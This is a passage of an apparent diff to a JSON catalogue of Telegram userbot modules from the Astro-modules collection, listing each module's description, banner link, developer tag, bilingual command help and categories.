ЛС(ОПАСНО)\n\t\t-prem ➪ очистить все ЛС с юзерами, обладающими Premium⭐️\n\t\t" + }, + { + "leave_chats": "@chat_username1, @chat_username2, ... ➪ leave chats, with usernames in arguments @chat_username1, @chat_username2, ... ➪ покинуть чаты, с определенными @username" + } + ], + "new_commands": [ + { + "dialogsinfo": { + "ru_doc": "➪ полная информация о ваших диалогах, чатах лс и т.д.", + "en_doc": null, + "doc": "➪ all info for your dialogs, chats, PMs..." + } + }, + { + "dialog_clear": { + "ru_doc": "<id or @username> ➪ удалить чат(диалог) с юзером", + "en_doc": null, + "doc": "<id or @username> ➪ delete dialog with user" + } + }, + { + "dclear": { + "ru_doc": "➪ алиас для команды 'dialogs_clear'", + "en_doc": null, + "doc": "➪ alias for command 'dialog_clear'" + } + }, + { + "all_dialogs_clear": { + "ru_doc": "Аргументы:\n\t\t-deleted ➪ очистить все ЛС с удаленными аккаунтами\n\t\t-fake ➪ очистить все ЛС с аккаунтами с пометкой \"FAKE\"\n\t\t-scam ➪ очистить все ЛС со скам аккаунтами\n\t\t-bots ➪ очистить все ЛС с ботами\n\t\t-allpms ➪ очистить ВСЕ АБСОЛЮТНО ЛС(ОПАСНО)\n\t\t-prem ➪ очистить все ЛС с юзерами, обладающими Premium⭐️\n\t\t", + "en_doc": null, + "doc": "Arguments:\n-deleted ➪ delete all dialogs PM with deleted accounts\n-fake ➪ delete all dialogs PM with fake accounts\n-scam ➪ delete all dialogs PM with scam accounts\n-bots ➪ delete all dialog with bots\n-allpms ➪ delete all dialogs PM\n-prem ➪ delete all dialogs PM with PREMIUM⭐️ users" + } + }, + { + "leave_chats": { + "ru_doc": "@chat_username1, @chat_username2, ... ➪ покинуть чаты, с определенными @username", + "en_doc": null, + "doc": "@chat_username1, @chat_username2, ... ➪ leave chats, with usernames in arguments" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/komarumod.py": { + "name": "KomaruMod", + "description": "Random picture/video/gif from the @komarueveryday", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Komaru.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "komaru": "- choose a random picture/gif/video - подобрать рандом картинку(пикчу)/видео/гиф" + } + ], + "new_commands": [ + { + "komaru": { + "ru_doc": "- подобрать рандом картинку(пикчу)/видео/гиф", + "en_doc": null, + "doc": "- choose a random picture/gif/video" + } + } + ], + "category": [ + "Media", + "Fun" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/iOSAppsForAndroid.py": { + "name": "iOSAppsForAndroid", + "description": "iOS Applications for Android, or more simply, Android applications with an interface like on iOS", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/iOSAppsForAndroid.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "iappslistcmd": "-->Inline List iOS Apps for Android -->Inline Лист iOS приложений для Android" + } + ], + "new_commands": [ + { + "iappslist": { + "ru_doc": "-->Inline Лист iOS приложений для Android", + "en_doc": null, + "doc": "-->Inline List iOS Apps for Android" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/summer.py": { + "name": "SummerMod", + "description": "Сколько осталось дней до лета?)", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Summer.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "st": "- вывести таймер" + } + ], + "new_commands": [ + { + "st": { + "ru_doc": null, + "en_doc": null, + "doc": "- вывести таймер" + } + } + ], + "category": [ + "Tools", + "Productivity" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/Steam.py": { + "name": "Steam", + "description": "Get now played game", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroSteamNow.png", + "developer": "@AstroModules" + }, + "commands": [ + { + "steamnow": "- get what I'm playing at - получить, во что я сейчас играю" + }, + { + "sme": "- my steam account - открыть аккаунт Steam" + }, + { + "game": "<id> - get game info <id> - получить инфо об игре" + }, + { + "steamtoggle": "- toggle widgets updates - вкл/выкл виджеты SteamNow" + } + ], + "new_commands": [ + { + "steamnow": { + "ru_doc": " - получить, во что я сейчас играю", + "en_doc": null, + "doc": "- get what I'm playing at" + } + }, + { + "sme": { + "ru_doc": "- открыть аккаунт Steam", + "en_doc": null, + "doc": "- my steam account" + } + }, + { + "game": { + "ru_doc": "<id> - получить инфо об игре", + "en_doc": null, + "doc": "<id> - get game info" + } + }, + { + "steamtoggle": { + "ru_doc": "- вкл/выкл виджеты SteamNow", + "en_doc": null, + "doc": "- toggle widgets updates" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/RandomStatuses.py": { + "name": "RandomStatusesMod", + "description": "Рандомные статусы для описания аккаунта в ТГ/Вацап/ВК и т.д.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/RandomStatuses.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "rstatuscmd": "Рандомный статус на описание аккаунта в ТГ/ВК/Вацап и т.д." + } + ], + "new_commands": [ + { + "rstatus": { + "ru_doc": null, + "en_doc": null, + "doc": "Рандомный статус на описание аккаунта в ТГ/ВК/Вацап и т.д." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/gamecheat.py": { + "name": "GameeCheatMod", + "description": "Читы для игр в @gamee", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/GameeCheat.jpg", + "developer": "@astromodules", + "designer": "@XizurK" + }, + "commands": [ + { + "chg": "<ссылка> <рекорд> - запустить чит" + } + ], + "new_commands": [ + { + "chg": { + "ru_doc": null, + "en_doc": null, + "doc": "<ссылка> <рекорд> - запустить чит" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/RandomUser.py": { + "name": "RandomUserMod", + "description": "choose a random user in chat\nAutors: @AstroModules & @smeowcodes", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/RandomUser.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "irandusercmd": "choose a random user in chat | inline menu with prize buttons --> выбрать случайного пользователя в чате | inline-меню с призовыми кнопками" + } + ], + "new_commands": [ + { + "iranduser": { + "ru_doc": "--> выбрать случайного пользователя в чате | inline-меню с призовыми кнопками", + "en_doc": null, + "doc": "choose a random user in chat | inline menu with prize buttons" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/achievements.py": { + "name": "AchievementsMod", + "description": "Create the achievement from https://minecraft-inside.ru/achievements/\n\nIdea from @Den4ikSOP & @boyhao", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Achievements.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "achievement": "[title] \"<text>\" [-icon <id>] [-title-color #<color>] [-text-color #<color>] [Заголовок] \"<текст>\" [-icon <id>] [-title-color #<цвет>] [-text-color #<цвет>]" + } + ], + "new_commands": [ + { + "achievement": { + "ru_doc": "[Заголовок] \"<текст>\" [-icon <id>] [-title-color #<цвет>] [-text-color #<цвет>]", + "en_doc": null, + "doc": "[title] \"<text>\" [-icon <id>] [-title-color #<color>] [-text-color #<color>]" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/RandomTrack.py": { + "name": "RandomTrackMod", + "description": "Получить рандомный трек. \nИспользуйте категории чтобы сгенерировать трек на свой вкус", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/RandomTrack.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "rt": "- сгенерировать трек.\n\n 🫠 Категории:\n<f> - фонки\n<r> - ремиксы\n<m> - мемные звуки\n<s> - грустная музыка\n<h> - хайперпоп музыка\n<p> - популярная музыка\n<n> - ностальгические треки\n<my> - треки из вашего плейлиста\n\n 🤫 По желанию, в конфиге, можно указать свои каналы откуда будет отбираться музыка\n " + } + ], + "new_commands": [ + { + "rt": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать трек.\n\n 🫠 Категории:\n<f> - фонки\n<r> - ремиксы\n<m> - мемные звуки\n<s> - грустная музыка\n<h> - хайперпоп музыка\n<p> - популярная музыка\n<n> - ностальгические треки\n<my> - треки из вашего плейлиста\n\n 🤫 По желанию, в конфиге, можно указать свои каналы откуда будет отбираться музыка\n " + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/brawl_stats.py": { + "name": "BrawlStatsInfo", + "description": "Brawl Stars Players/Clubs information :)", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/BrawlStats.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "get_my_ip": "Получить свой IP-Адрес для получения API-Токен BrawlStarsAPI" + }, + { + "set_bs_api_token": "<api_token> - сохранить свой API-Токен в конфиге модуля." + }, + { + "bs_get_player": "<#player_tag> <#player_tag2> -> получить информацию об игроке/игроках(теги можно через пробел указывать)" + }, + { + "bs_get_club": "<#CLUB_TAG> -> получить информацию о клубе по его #ТЕГУ" + }, + { + "bs_get_club_members": "<#CLUB_TAG> -> получить информацию об участниках клуба по его #ТЕГУ" + }, + { + "bs_get_player_brawlers": "<#player_tag> -> получить информацию о Бравлерах(Бойцах) игрока по его #ТЕГУ" + } + ], + "new_commands": [ + { + "get_my_ip": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить свой IP-Адрес для получения API-Токен BrawlStarsAPI" + } + }, + { + "set_bs_api_token": { + "ru_doc": null, + "en_doc": null, + "doc": "<api_token> - сохранить свой API-Токен в конфиге модуля." + } + }, + { + "bs_get_player": { + "ru_doc": null, + "en_doc": null, + "doc": "<#player_tag> <#player_tag2> -> получить информацию об игроке/игроках(теги можно через пробел указывать)" + } + }, + { + "bs_get_club": { + "ru_doc": null, + "en_doc": null, + "doc": "<#CLUB_TAG> -> получить информацию о клубе по его #ТЕГУ" + } + }, + { + "bs_get_club_members": { + "ru_doc": null, + "en_doc": null, + "doc": "<#CLUB_TAG> -> получить информацию об участниках клуба по его #ТЕГУ" + } + }, + { + "bs_get_player_brawlers": { + "ru_doc": null, + "en_doc": null, + "doc": "<#player_tag> -> получить информацию о Бравлерах(Бойцах) игрока по его #ТЕГУ" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/mindtalk.py": { + "name": "MindTalkMod", + "description": "Your little psychologist Based on MindTalk by Hikamoru", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/MindTalk.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "login": "<login> <password> - log in and save token" + }, + { + "ask": "<message> - ask a psychologist a question" + }, + { + "mtclear": "- clear MindTalk history" + } + ], + "new_commands": [ + { + "login": { + "ru_doc": null, + "en_doc": null, + "doc": "<login> <password> - log in and save token" + } + }, + { + "ask": { + "ru_doc": null, + "en_doc": null, + "doc": "<message> - ask a psychologist a question" + } + }, + { + "mtclear": { + "ru_doc": null, + "en_doc": null, + "doc": "- clear MindTalk history" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/inline_bot_manager.py": { + "name": "InlineBotManagerMod", + "description": "Control over your Inline bot!", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/InlineBotManager.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "inlinebothelpcmd": "--> Check help for this module --> Просмотреть помощь по этому модулю" + }, + { + "ibsetnamecmd": "<name> --> change Name for your Inline-Bot <имя> --> изменить имя для вашего Инлайн-Бота" + }, + { + "ibsetqtextcmd": "<text> --> change text in InlineQuery for your Inline-Bot <текст> --> изменить текст в InlineQuery для вашего Инлайн-Бота" + }, + { + "ibsetdescriptioncmd": "<description> --> change inline-bot description <текст> --> изменить информацию о инлайн-боте" + }, + { + "ibsetaboutcmd": "<about> --> change inline-bot about text <текст> --> изменить текст об информации о инлайн-боте" + }, + { + "ibchecknamecmd": "-->check bot name to be: \"🌘 Hikka Userbot of {your nickname}\" -->проверить имя бота, чтобы оно было: \"🌘 Hikka Userbot of {ваш ник}\" " + } + ], + "new_commands": [ + { + "inlinebothelp": { + "ru_doc": "--> Просмотреть помощь по этому модулю", + "en_doc": null, + "doc": "--> Check help for this module" + } + }, + { + "ibsetname": { + "ru_doc": "<имя> --> изменить имя для вашего Инлайн-Бота", + "en_doc": null, + "doc": "<name> --> change Name for your Inline-Bot" + } + }, + { + "ibsetqtext": { + "ru_doc": "<текст> --> изменить текст в InlineQuery для вашего Инлайн-Бота", + "en_doc": null, + "doc": "<text> --> change text in InlineQuery for your Inline-Bot" + } + }, + { + "ibsetdescription": { + "ru_doc": "<текст> --> изменить информацию о инлайн-боте", + "en_doc": null, + "doc": "<description> --> change inline-bot description" + } + }, + { + "ibsetabout": { + "ru_doc": "<текст> --> изменить текст об информации о инлайн-боте", + "en_doc": null, + "doc": "<about> --> change inline-bot about text" + } + }, + { + "ibcheckname": { + "ru_doc": "-->проверить имя бота, чтобы оно было: \"🌘 Hikka Userbot of {ваш ник}\" ", + "en_doc": null, + "doc": "-->check bot name to be: \"🌘 Hikka Userbot of {your nickname}\" " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/вахуи_пон.py": { + "name": "ВахуиПонMod", + "description": "пон и вахуи", + "meta": { + "pic": null, + "banner": null, + "developer": "@AstroModules" + }, + "commands": [ + { + "понcmd": "--> пон" + }, + { + "вахуиcmd": "--> вахуи" + } + ], + "new_commands": [ + { + "пон": { + "ru_doc": null, + "en_doc": null, + "doc": "--> пон" + } + }, + { + "вахуи": { + "ru_doc": null, + "en_doc": null, + "doc": "--> вахуи" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/RandomPasswordGenerator.py": { + "name": "PasswordGeneratorMod", + "description": "Random password/pincode generator", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/PasswordGenerator.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "generatorcfgcmd": "—>config for this module —>конфиг этого модуля" + }, + { + "igeneratorcmd": "—>generate random password/pin —>сгенерировать случайный пароль/пин-код" + } + ], + "new_commands": [ + { + "generatorcfg": { + "ru_doc": "—>конфиг этого модуля", + "en_doc": null, + "doc": "—>config for this module" + } + }, + { + "igenerator": { + "ru_doc": "—>сгенерировать случайный пароль/пин-код", + "en_doc": null, + "doc": "—>generate random password/pin" + } + } + ], + "category": [ + "Tools", + "Security" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/astroafk.py": { + "name": "AstroAfkMod", + "description": "Полностью настраиваемый модуль для ухода в АФК режим! Обновление TxAFK!", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroAFK.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "asst": "- открыть настройки модуля" + }, + { + "goafk": "<reason/empty>- войти в АФК режим" + }, + { + "ungoafk": "- выйти из режима АФК" + } + ], + "new_commands": [ + { + "asst": { + "ru_doc": null, + "en_doc": null, + "doc": "- открыть настройки модуля" + } + }, + { + "goafk": { + "ru_doc": null, + "en_doc": null, + "doc": "<reason/empty>- войти в АФК режим" + } + }, + { + "ungoafk": { + "ru_doc": null, + "en_doc": null, + "doc": "- выйти из режима АФК" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/YandexMusic.py": { + "name": "YaMusicMod", + "description": "Поиск музыки через музыкального бота от Яндекса", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/YaMusic.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "ymcmd": "- найти трек по названию" + } + ], + "new_commands": [ + { + "ym": { + "ru_doc": null, + "en_doc": null, + "doc": "- найти трек по названию" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/dl_yt_previews.py": { + "name": "YTPreviewMod", + "description": "Скачивает превью с ютуба", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/YouTubePreviews.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "ytpcmd": "<link> --> download YouTube video preview <link> --> скачивает превью" + } + ], + "new_commands": [ + { + "ytp": { + "ru_doc": "<link> --> скачивает превью", + "en_doc": null, + "doc": "<link> --> download YouTube video preview" + } + } + ], + "category": [ + "Media", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/TxAFK.py": { + "name": "TxAFKMod", + "description": "Афк модуль от AstroModules с изменением био и имени", + "meta": { + "pic": null, + "banner": null, + "developer": "@AstroModules" + }, + "commands": [ + { + "txcfgcmd": "- открыть конфиг модуля" + }, + { + "goafkcmd": "- войти в AFK режим" + }, + { + "ungoafkcmd": "- выйти из режима AFK" + } + ], + "new_commands": [ + { + "txcfg": { + "ru_doc": null, + "en_doc": null, + "doc": "- открыть конфиг модуля" + } + }, + { + "goafk": { + "ru_doc": null, + "en_doc": null, + "doc": "- войти в AFK режим" + } + }, + { + "ungoafk": { + "ru_doc": null, + "en_doc": null, + "doc": "- выйти из режима AFK" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/pcmanager.py": { + "name": "PCManagerMod", + "description": "Управление вашим компьютером через юзербота", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/PCManager.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "addbot": "- добавить бота\n\n💎 Основные команды:" + }, + { + "tutor": "- туториал по подключению" + }, + { + "pcoff": "- выключить компьютер" + }, + { + "pcreboot": "- перезагрузить компьютер" + }, + { + "pcinfo": "- просмотреть характеристики системы" + }, + { + "pcip": "- просмотреть информацию об айпи адресе" + }, + { + "pcscreen": "- сделать скриншот экрана" + }, + { + "pcweb": "<ссылка> - открыть ссылку в браузере\n \n🔑 Дополнительно:" + }, + { + "pcalert": "<сообщение> - вывести на экран сообщение" + }, + { + "pcvol": "- управление звуком" + }, + { + "pcmedia": "- управление музыкой" + } + ], + "new_commands": [ + { + "addbot": { + "ru_doc": null, + "en_doc": null, + "doc": "- добавить бота\n\n💎 Основные команды:" + } + }, + { + "tutor": { + "ru_doc": null, + "en_doc": null, + "doc": "- туториал по подключению" + } + }, + { + "pcoff": { + "ru_doc": null, + "en_doc": null, + "doc": "- выключить компьютер" + } + }, + { + "pcreboot": { + "ru_doc": null, + "en_doc": null, + "doc": "- перезагрузить компьютер" + } + }, + { + "pcinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "- просмотреть характеристики системы" + } + }, + { + "pcip": { + "ru_doc": null, + "en_doc": null, + "doc": "- просмотреть информацию об айпи адресе" + } + }, + { + "pcscreen": { + "ru_doc": null, + "en_doc": null, + "doc": "- сделать скриншот экрана" + } + }, + { + "pcweb": { + "ru_doc": null, + "en_doc": null, + "doc": "<ссылка> - открыть ссылку в браузере\n \n🔑 Дополнительно:" + } + }, + { + "pcalert": { + "ru_doc": null, + "en_doc": null, + "doc": "<сообщение> - вывести на экран сообщение" + } + }, + { + "pcvol": { + "ru_doc": null, + "en_doc": null, + "doc": "- управление звуком" + } + }, + { + "pcmedia": { + "ru_doc": null, + "en_doc": null, + "doc": "- управление музыкой" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/Emotions.py": { + "name": "EmotionsMod", + "description": "Выражение эмоций в чате", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Emotions.jpg", + "developer": "@AstroModules, @HikariMods" + }, + "commands": [ + { + "emogocmd": "- вкл/выкл эмоции в данном чате" + }, + { + "emoclearcmd": "<y> - сбросить список эмоций" + }, + { + "emolistcmd": "- список доступных эмоций" + }, + { + "emocmd": "<символ|слово> <эмоция> - добавить эмоцию в базу модуля" + } + ], + "new_commands": [ + { + "emogo": { + "ru_doc": null, + "en_doc": null, + "doc": "- вкл/выкл эмоции в данном чате" + } + }, + { + "emoclear": { + "ru_doc": null, + "en_doc": null, + "doc": "<y> - сбросить список эмоций" + } + }, + { + "emolist": { + "ru_doc": null, + "en_doc": null, + "doc": "- список доступных эмоций" + } + }, + { + "emo": { + "ru_doc": null, + "en_doc": null, + "doc": "<символ|слово> <эмоция> - добавить эмоцию в базу модуля" + } + } + ], + "category": [ + "Chat", + "Automation" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/video_to_voice.py": { + "name": "VideoToVoice", + "description": "Convert Video to voice", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/VideoToVoice.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "convert_to_voice": "<reply_to_video> -> получить Войс звука видео, либо отправлять команду с прикрепленным видео(оно удалится после отправления сделанного войса), либо отправить команду ответом на видео." + } + ], + "new_commands": [ + { + "convert_to_voice": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply_to_video> -> получить Войс звука видео, либо отправлять команду с прикрепленным видео(оно удалится после отправления сделанного войса), либо отправить команду ответом на видео." + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/astroweather.py": { + "name": "AstroWeatherMod", + "description": "Модуль для получения информации о погоде в Вашем городе, в красивом формате", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroWeather.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "aw": "<город> - узнать погоду в указанном городе" + } + ], + "new_commands": [ + { + "aw": { + "ru_doc": null, + "en_doc": null, + "doc": "<город> - узнать погоду в указанном городе" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/AntiMat.py": { + "name": "AntiMatMod", + "description": "Будьте культурным человеком, не материтесь", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AntiMat.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "antimat": "- активировать или диактивировать АнтиМат" + }, + { + "matlist": "- открыть список матов" + }, + { + "amchatcmd": "- запретить/разрешить чату выражаться нецензурой" + } + ], + "new_commands": [ + { + "antimat": { + "ru_doc": null, + "en_doc": null, + "doc": "- активировать или диактивировать АнтиМат" + } + }, + { + "matlist": { + "ru_doc": null, + "en_doc": null, + "doc": "- открыть список матов" + } + }, + { + "amchat": { + "ru_doc": null, + "en_doc": null, + "doc": "- запретить/разрешить чату выражаться нецензурой" + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/demotivator.py": { + "name": "DemotivatorMod", + "description": "Demotivate picture with text, arguments and config.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Demotivator.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "demotivate": "<text>\n[-bottom/-btm-text/-bottom-text <text> - add. text below]\n[-wt/-watermark <text> - add watermark]\n[-font-color/-ftc <color> (red/while/blue/yellow/...) - font color (white by default)]\n[-fill-color/-flc <color> (red/while/blue/yellow/...) - background color (black by default)]\n[-font/-font-name/-font-link <link to file with fonts> (not zip, but ttf) - font for text]\n[-top-size/-topsize/-tpsz <size> (default 80) - main text size]\n[-bottom-size/-btmsz <size> (default 60) - extra size text]\n[-arrange - adjust photo frames]\n- demotivate a picture according to the given text and arguments <текст>\n [-bottom/-btm-text/-bottom-text <текст> - доп. текст внизу]\n [-wt/-watermark <текст> - добавить водяной знак]\n [-font-color/-ftc <цвет> (red/while/blue/yellow/...) - цвет шрифта (по дефолту white)]\n [-fill-color/-flc <цвет> (red/while/blue/yellow/...) - цвет заднего фона (по дефолту black)]\n [-font/-font-name/-font-link <ссылка на файл со шрифтами> (не zip, а ttf) - шрифт для текста]\n [-top-size/-topsize/-tpsz <размер> (по дефолту 80) - размер главного текста]\n [-bottom-size/-btmsz <размер> (по дефолту 60) - размер доп.(нижнего) текста]\n [-arrange - регулировать рамки под фотографию]\n - демотивировать картинку по заданному тексту и аргументам\n " + } + ], + "new_commands": [ + { + "demotivate": { + "ru_doc": "<текст>\n [-bottom/-btm-text/-bottom-text <текст> - доп. текст внизу]\n [-wt/-watermark <текст> - добавить водяной знак]\n [-font-color/-ftc <цвет> (red/while/blue/yellow/...) - цвет шрифта (по дефолту white)]\n [-fill-color/-flc <цвет> (red/while/blue/yellow/...) - цвет заднего фона (по дефолту black)]\n [-font/-font-name/-font-link <ссылка на файл со шрифтами> (не zip, а ttf) - шрифт для текста]\n [-top-size/-topsize/-tpsz <размер> (по дефолту 80) - размер главного текста]\n [-bottom-size/-btmsz <размер> (по дефолту 60) - размер доп.(нижнего) текста]\n [-arrange - регулировать рамки под фотографию]\n - демотивировать картинку по заданному тексту и аргументам\n ", + "en_doc": null, + "doc": "<text>\n[-bottom/-btm-text/-bottom-text <text> - add. text below]\n[-wt/-watermark <text> - add watermark]\n[-font-color/-ftc <color> (red/while/blue/yellow/...) - font color (white by default)]\n[-fill-color/-flc <color> (red/while/blue/yellow/...) - background color (black by default)]\n[-font/-font-name/-font-link <link to file with fonts> (not zip, but ttf) - font for text]\n[-top-size/-topsize/-tpsz <size> (default 80) - main text size]\n[-bottom-size/-btmsz <size> (default 60) - extra size text]\n[-arrange - adjust photo frames]\n- demotivate a picture according to the given text and arguments" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/shazam.py": { + "name": "ShazamMod", + "description": "Use <reply to voice> to search for a song using audio.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroShazam.png", + "developer": "@AstroModules" + }, + "commands": [ + { + "sh": "<reply to audio> - recognize track <reply to audio> - распознать трек" + } + ], + "new_commands": [ + { + "sh": { + "ru_doc": "<reply to audio> - распознать трек", + "en_doc": null, + "doc": "<reply to audio> - recognize track" + } + } + ], + "category": [ + "Games", + "Tools" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/convertio.py": { + "name": "ConvertioMod", + "description": "Convert file with api from https://convertio.co", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Convertio.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "renewconvertio": "Renew convertio api key" + }, + { + "convert": "<output format> <!reply to file> | Example: png <выходной формат> | Пример: png" + } + ], + "new_commands": [ + { + "renewconvertio": { + "ru_doc": null, + "en_doc": null, + "doc": "Renew convertio api key" + } + }, + { + "convert": { + "ru_doc": "<выходной формат> | Пример: png", + "en_doc": null, + "doc": "<output format> <!reply to file> | Example: png" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Den4ikSuperOstryyPer4ik/Astro-modules/TwinkManager.py": { + "name": "TwinkManagerMod", + "description": "Управление твинками через основной аккаунт.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/TwinkManager.jpg", + "developer": "@AstroModules" + }, + "commands": [ + { + "trestart": "- перезагрузить аккаунты" + }, + { + "tping": "- проверить пинг" + }, + { + "tdlmod": "<name/link> - загрузить модули на аккаунты" + }, + { + "tterminal": "<command> - выполнить действие в терминале" + }, + { + "tupdate": "- обновить хикку на аккаунтах" + }, + { + "thelp": "<name/-f>- список модулей либо информация о модуле" + }, + { + "tloadmod": "<reply> - загрузить файл модуля на аккаунты" + } + ], + "new_commands": [ + { + "trestart": { + "ru_doc": null, + "en_doc": null, + "doc": "- перезагрузить аккаунты" + } + }, + { + "tping": { + "ru_doc": null, + "en_doc": null, + "doc": "- проверить пинг" + } + }, + { + "tdlmod": { + "ru_doc": null, + "en_doc": null, + "doc": "<name/link> - загрузить модули на аккаунты" + } + }, + { + "tterminal": { + "ru_doc": null, + "en_doc": null, + "doc": "<command> - выполнить действие в терминале" + } + }, + { + "tupdate": { + "ru_doc": null, + "en_doc": null, + "doc": "- обновить хикку на аккаунтах" + } + }, + { + "thelp": { + "ru_doc": null, + "en_doc": null, + "doc": "<name/-f>- список модулей либо информация о модуле" + } + }, + { + "tloadmod": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - загрузить файл модуля на аккаунты" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + 